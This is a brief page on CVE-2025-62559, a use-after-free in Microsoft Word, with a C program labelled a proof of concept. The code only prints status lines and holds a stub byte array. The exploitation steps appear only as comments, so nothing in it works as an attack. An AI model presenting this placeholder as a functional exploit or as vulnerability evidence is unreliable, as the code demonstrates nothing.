CVE-2025-62559 Microsoft Office Word 释放后重用高危漏洞

// CVE-2025-62559 PoC - Microsoft Office Word Use After Free // This is a conceptual PoC demonstrating the vulnerability trigger mechanism // In practice, exploitation requires precise heap Feng Shui and memory manipulation #include <windows.h> #include <stdio.h> // Malicious document trigger - simulates the memory corruption condition void trigger_uaf_condition() { // In real exploit: allocate objects, free them, then reuse freed memory // This requires precise timing and memory layout control // Step 1: Create Word application instance // Step 2: Open malicious .docx file with crafted payload // Step 3: Trigger use-after-free condition during document parsing // Step 4: Control freed memory to hijack execution flow printf("[*] CVE-2025-62559 PoC Trigger\n"); printf("[*] Target: Microsoft Office Word\n"); printf("[*] Vulnerability: Use After Free\n"); printf("[*] Attack Vector: Malicious document file\n"); } // Example malicious document structure (simplified) unsigned char malicious_doc_template[] = { // OLE/CFB structure with crafted binary data // that triggers UAF during Word document parsing 0xD0, 0xCF, 0x11, 0xE0, 0xA1, 0xB1, 0x1A, 0xE1, // Additional payload bytes to trigger vulnerability 0x41, 0x42, 0x43, 0x44, 0x45, 0x46, 0x47, 0x48 }; int main() { printf("CVE-2025-62559 Use After Free in Microsoft Office Word\n"); printf("This PoC demonstrates the vulnerability trigger concept.\n"); printf("Actual exploitation requires: 1) Malformed document 2) Heap spraying 3) Memory corruption\n"); trigger_uaf_condition(); return 0; }